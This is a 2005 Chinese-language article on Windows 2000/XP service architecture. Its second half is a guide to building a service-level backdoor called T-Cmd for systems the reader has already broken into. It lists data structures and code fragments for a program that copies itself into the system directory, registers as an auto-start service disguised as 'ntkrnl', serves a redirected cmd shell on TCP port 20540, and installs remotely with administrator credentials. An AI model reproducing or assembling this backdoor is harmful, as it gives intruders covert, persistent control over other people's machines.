☆淺析Windows 2000/XP中服務與後門技術: 文章名稱:淺析Windows 2000/XP中服務與後門技術
作者:匿名 來源:天極網
類別:安全防護 添加日期:2005.06.01
一、序言
Windows下的服務程式都遵循服務控制管理器(SCM)的介面標準,它們會在登錄系統時自動運行,甚至在沒有用戶登錄系統的情況下也會正常執行,類似與UNIX系統中的守護進程(daemon)。它們大多是控制臺程式,不過也有少數的GUI程式。本文所涉及到的服務程式僅限於Windows2000/XP系統中的一般服務程式,不包含Windows9X。
二、Windows服務簡介
服務控制管理器擁有一個在註冊表中記錄的數據庫,包含了所有已安裝的服務程式和設備驅動服務程式的相關資訊。它允許系統管理員為每個服務自定義安全要求和控制訪問權限。Windows服務包括四大部分:服務控制管理器(Service Control Manager),服務控制程式(Service Control Program),服務程式(Service Program)和服務配置程式(Service Configuration Program)。
1.服務控制管理器(SCM)
服務控制管理器在系統啟動的早期由Winlogon進程啟動,可執行檔案名是「Admin$\System32\Services.exe」,它是系統中的一個RPC服務器,因此服務配置程式和服務控制程式可以在遠程操縱服務。它包括以下幾方面的資訊:
已安裝服務數據庫:服務控制管理器在註冊表中擁有一個已安裝服務的數據庫,它在服務控制管理器和程式添加,刪除,配置服務程式時使用,在註冊表中數據庫的位置為:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子鍵,每個子鍵的名字就代表一個對應的服務。數據庫中包括:服務類型(私有進程,共用進程),啟動類型(自動運行,由服務控制管理器啟動,無效),錯誤類型(忽略,常規錯誤,服務錯誤,關鍵錯誤),執行檔路徑,依賴資訊選項,可選用戶名與密碼。
自動啟動服務:系統啟動時,服務控制管理器啟動所有「自啟」服務和相關依賴服務。服務的加載順序:順序裝載組列表:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder;指定組列表:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList;每個服務所依賴的服務程式。
在系統成功引導後會保留一份LKG(Last-Know-Good)的配置資訊位元於:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。
因要求而啟動服務:用戶可以使用服務控制面板程式來啟動一項服務。服務控制程式也可以使用StartService來啟動服務。服務控制管理器會進行下面的操作:獲取帳戶信息,登錄服務項目,創建服務為懸掛狀態,分配登錄權杖給進程,允許進程執行。
服務記錄列表:每項服務在數據庫中都包含了下麵的內容:服務名稱,開始類型,服務狀態(類型,當前狀態,接受控制代碼,退出代碼,等待提示),依賴服務列表指針。
服務控制管理器控制碼:服務控制管理器支援控制碼類型訪問以下對像:已安裝服務數據庫,服務程式,數據庫的鎖開狀態。
2.服務控制程式(SCP)
服務控制程式可以執行對服務程式的開啟,控制和狀態查詢功能:
開啟服務:如果服務的開啟類型為SERVICE_DEMAND_START,就可以用服務控制程式來開始一項服務。在開始服務的初始化階段服務的當前狀態為:SERVICE_START_PENDING,而在初始化完成後的狀態就是:SERVICE_RUNNING。
向正在運行的服務發送控制請求:控制請求可以是系統默認的,也可以是用戶自定義的。標準控制代碼如下:停止服務(SERVICE_CONTROL_STOP),暫停服務(SERVICE_CONTROL_PAUSE),恢復已暫停服務(SERVICE_CONTROL_CONTINUE),獲得更新資訊(SERVICE_CONTROL_INTERROGATE)。
3.服務程式
一個服務程式可能擁有一個或多個服務的執行代碼。我們可以創建類型為SERVICE_WIN32_OWN_PROCESS的只擁有一個服務的服務程式。而類型為SERVICE_WIN32_SHARE_PROCESS的服務程式卻可以包含多個服務的執行代碼。詳情參見後面的Windows服務與編程。
4.服務配置程式
編程人員和系統管理員可以使用服務配置程式來更改,查詢已安裝服務的信息。當然也可以通過註冊表函數來訪問相關資源。
服務的安裝,刪除和列舉:我們可以使用相關的系統函數來創建,刪除服務和查詢所有服務的當前狀態。
服務配置:系統管理員通過服務配置程式來控制服務的啟動類型,顯示名稱和相關描述資訊。
三、Windows服務與編程
Windows服務編程包括幾方面的內容,下面我們將從服務控制程式,服務程式和服務配置程式的角度介紹服務編程相關的內容。
1.服務控制程式
執行服務控制程式的相關函數前,我們需要獲得一個服務對象的控制碼,方式有兩種:由OpenSCManager來獲得一台特定主機的服務控制管理器數據庫的控制碼;使用OpenService或CreateService函數來獲得某個服務對象的控制碼。
啟動服務:要啟動一個服務,服務控制程式可以使用StartService來實現。如果服務控制管理器數據庫被鎖定,那需要等待一定的時間然後再次測試StartService函數。當然也可以使用QueryServiceLockStatus函數來確認數據庫的當前狀態。在啟動成功完成時,那麼dwCurrentState參數將會返回SERVICE_RUNNING值。
服務控制請求:服務控制程式使用ControlService函數來發送控制請求到正在運行的服務程式。它會向控制控制碼函數發送一個特定的控制命令,可以是系統默認的,也可以是用戶自定義的。而且每個服務都會確定自己將會接收的控制命令列表。使用QueryServiceStatus函數時,在返回的dwControlsAccepted參數中表明服務程式將會接收的控制命令。所有的服務都會接受SERVICE_CONTROL_INTERROGATE命令。
2.服務程式
一個服務程式內可以包含一個服務或多個服務的執行代碼,但是它們都擁有固定的三個部分:服務main函數,服務ServiceMain函數和服務Control Handler函數。
服務main函數:服務程式通常是以控制臺的方式存在的,所以它們的入口點都是main函數。在服務控制管理器開始一個服務程式時,會等待StartServiceCtrlDispatcher函數的執行。如果服務類型是SERVICE_WIN32_OWN_PROCESS就會立即調用StartServiceCtrlDispatcher函數的執行;如果服務類型是SERVICE_WIN32_SHARE_PROCESS,通常在初始化所有服務之後再調用它。StartServiceCtrlDispatcher函數的參數就是一個SERVICE_TABLE_ENTRY結構,它包含了進程內所有服務的名稱和服務入口點。
服務ServiceMain函數:函數ServiceMain是服務的入口點。在服務控制程式請求一個新的服務啟動時,服務控制管理器啟動一個服務,並發送一個開始請求到控制調度程式,而後控制調度程式創建一個新線程來執行ServiceMain函數。ServiceMain須執行以下的任務:調用RegisterServiceCtrlHandler函數註冊一個HandlerEx函數來向服務發送控制請求資訊,返回值是服務狀態控制碼用來向服務控制管理器傳送服務狀態。初始化後調用SetServiceStatus函數設置服務狀態為SERVICE_RUNNING。最後,就是執行服務所要完成的任務。
服務Control Handler函數:每個服務都有一個控制控制碼HandlerEx函數。它會在服務進程從服務控制程式接收到一個控制請求時被控制調度程式所調用。無論何時在HandlerEx函數被調用時,都要調用SetServiceStatus函數向服務控制管理器報告它當前的狀態。在用戶關閉系統時,所有的控制控制碼都會調用帶有SERVICE_ACCEPT_SHUTDOW控制代碼的SetServiceStatus函數來接收NSERVICE_CONTROL_SHUTDOWN控制代碼。
3.服務配置程式
服務配置程式可以更改或查詢服務的當前配置資訊。在調用服務配置函數之前,必須獲得一個服務對象的控制碼,當然我們可以通過調用OpenSCManager,OpenService或CreateService函數來獲得。
創建,刪除服務:服務配置程式使用CreateService函數在服務控制管理器的數據庫中安裝一個新服務,它會提供服務的名稱和相關的配置資訊並存儲在數據庫中。服務配置程式則使用DeleteService函數從數據庫中刪除一個已經安裝的服務。
四、服務級後門技術
在你進入某個系統後,往往會為自己留下一個或多個後門,以便今後的訪問。在上傳一個後門程式到遠程系統上後系統重啟之時,總是希望後門仍然存在。那麼,將後門程式創建成服務程式應該是個不錯的想法,這就是利用了服務程式自動運行的機制,當然在Windows2000的任務管理器裡也很難結束一個服務程式的進程。
創建一個後門,它常常會在一個埠監聽,以方便我們使用TCP/UDP協議與遠程主機建立連接,所以我們首先需要在後門程式裡創建一個監聽的埠,為了數據傳輸的穩定與安全,我們可以使用TCP協議。
那麼,我們如何才能模擬一個Telnet服務似的後門呢?我想大家都清楚,如果在遠程主機上有一個Cmd是我們可以控制的,也就是我們可以在這個Cmd裡執行命令,那麼就可以實現對遠程主機的控制了,至少可以執行各種常規的系統命令。啟動一個Cmd程式的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因為WinExec和ShellExecute它們實在太簡單了。在使用CreateProcess時,要用到它的重定向標準輸入/輸出的選項功能,把在本地主機的輸入重定向輸入到遠程主機的Cmd進程,並且把遠程主機Cmd進程的標準輸出重定向到本地主機的標準輸出。這就需要在後門程式裡使用CreatePipe創建兩個管道來實現進程間的數據通信(Inter-Process Communication,IPC)。當然,還必須將遠程主機上Cmd的標準輸入和輸出在本地主機之間進行傳送,我們選擇TCP協議的send和recv函數。在客戶結束訪問後,還要調用TerminateProcess來結束創建的Cmd進程。
五、關鍵函數分析
本文相關程式T-Cmd v1.0是一個服務級的後門程式,適用平臺為Windows2000/XP。它可自動為遠程/本地主機創建服務級後門,無須使用任何額外的命令,支援本地/遠程模式。重啟後,程式仍然自動運行,監聽埠20540/tcp。
1.自定義數據結構與函數
typedef struct
{
HANDLE hPipe;
//為實現進程間通信而使用的管道;
SOCKET sClient;
//與客戶端進行通信時的客戶端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd標準輸入/輸出時使用的數據結構;
typedef struct PROCESSDATA
{
HANDLE hProcess;
//創建Cmd進程時獲得的進程控制碼;
DWORD dwProcessId;
//創建Cmd進程時獲得的進程標識符;
struct PROCESSDATA *next;
//指向下一個數據結構的指針;
}PROCESSDATA,*PPROCESSDATA;
//在客戶結束訪問或刪除服務時為關閉所以的Cmd進程而創建的數據結構;
void WINAPI CmdStart(DWORD,LPTSTR *);
//服務程式中的「ServiceMain」:註冊服務控制控制碼,創建服務主線程;
void WINAPI CmdControl(DWORD);
//服務程式中的「HandlerEx」:處理接收到的控制命令,刪除已創建的Cmd進程;
DWORD WINAPI CmdService(LPVOID);
//服務主線程,創建服務監聽埠,在接受客戶連接時,創建重定向Cmd標準輸入/輸出線程;
DWORD WINAPI CmdShell(LPVOID);
//創建管道與Cmd進程,及Cmd的輸入/輸出線程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的輸出,讀取資訊後發送到客戶端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的輸入,接收客戶端的資訊輸入到Cmd進程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果選擇遠程模式,則須與遠程主機建立連接,注須提供管理員權限的用戶名與密碼,密碼為空時用"NULL"代替;
void InstallCmdService(char *);
//複製傳送文件,打開服務控制管理器,創建或打開服務程式;
void RemoveCmdService(char *);
//刪除檔,停止服務後,卸載服務程式;
2.服務程式相關函數
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服務程式的名稱和入口點;
{NULL ,NULL }
//SERVICE_TABLE_ENTRY結構必須以「NULL」結束;
};
StartServiceCtrlDispatcher(DispatchTable);
//連接服務控制管理器,開始控制調度程式線程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//註冊CmdControl函數為「HandlerEx」函數,並初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//設置服務的當前狀態為SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//創建服務主線程,實現後門功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局變量的同步使用;
TerminateProcess(lpProcessDataHead->;hProcess,1);
//終止創建的Cmd進程;
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系統目錄下服務程式的檔是否已經存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//獲得當前進程的程式檔案名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//複製文件到系統目錄下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打開服務控制管理器數據庫;
CreateService(schSCManager,"ntkrnl","ntkrnl", SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_
AUTO_START,SERVICE_ERROR_IGNORE,
"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//創建服務,參數包括名稱,服務類型,開始類型,錯誤類型及文件路徑等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服務已經創建,則打開服務;
StartService(schService,0,NULL);
//啟動服務進程;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服務狀態;
DeleteService(schService);
//卸載服務程式;
DeleteFile(lpImagePath);
//刪除文件;
3.後門程式相關函數
hMutex=CreateMutex(NULL,FALSE,NULL);
//創建互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//創建處理客戶端訪問的重定向輸入輸出線程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//創建用於進程間通信的輸入/輸出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//創建經重定向輸入輸出的Cmd進程;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//創建處理Cmd輸入輸出的線程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待線程或進程的結束;
ReleaseMutex(hMutex);
//釋放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//從管道中複製數據到緩衝區中,但不從管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//從管道中複製數據到緩衝區中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中寫入從客戶端接收到的數據;
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//與遠程主機建立連接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//與遠程主機結束連接;